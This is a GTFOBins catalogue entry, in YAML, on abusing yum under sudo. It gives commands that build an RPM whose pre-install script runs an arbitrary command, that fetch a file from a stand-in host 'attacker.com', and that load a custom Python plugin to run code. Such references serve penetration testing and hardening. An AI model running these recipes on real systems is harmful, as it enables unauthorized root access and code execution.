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GTFOBins.github.io/_gtfobins/yum
Andrea Cardaci 450efe76d4 Make the contexts field mandatory
Rationale being that:

- it's easy to just forget it;

- entries that only have the unprivileged context are quite rare.
2026-01-13 19:53:07 +01:00

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---
functions:
command:
- code: |-
yum localinstall -y x-1.0-1.noarch.rpm
comment: |-
Generate the RPM package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
echo /path/to/command >x.sh
fpm -n x -s dir -t rpm -a all --before-install .x.sh .
```
contexts:
sudo:
download:
- code: |-
yum install http://attacker.com/path/to/input-file.rpm
comment: |-
The file on the remote host must have the `.rpm` extension, but the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in `/var/tmp/yum-root-xxxxxx/`.
contexts:
sudo:
sender: http-server
inherit:
- code: |-
cat >/path/to/temp-dir/x<<EOF
[main]
plugins=1
pluginpath=/path/to/temp-dir/
pluginconfpath=/path/to/temp-dir/
EOF
cat >/path/to/temp-dir/y.conf<<EOF
[main]
enabled=1
EOF
cat >/path/to/temp-dir/y.py<<EOF
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
...
EOF
yum -c /path/to/temp-dir/x --enableplugin=y
comment: |-
This allows to run Python code (`...`).
contexts:
sudo:
from: python
...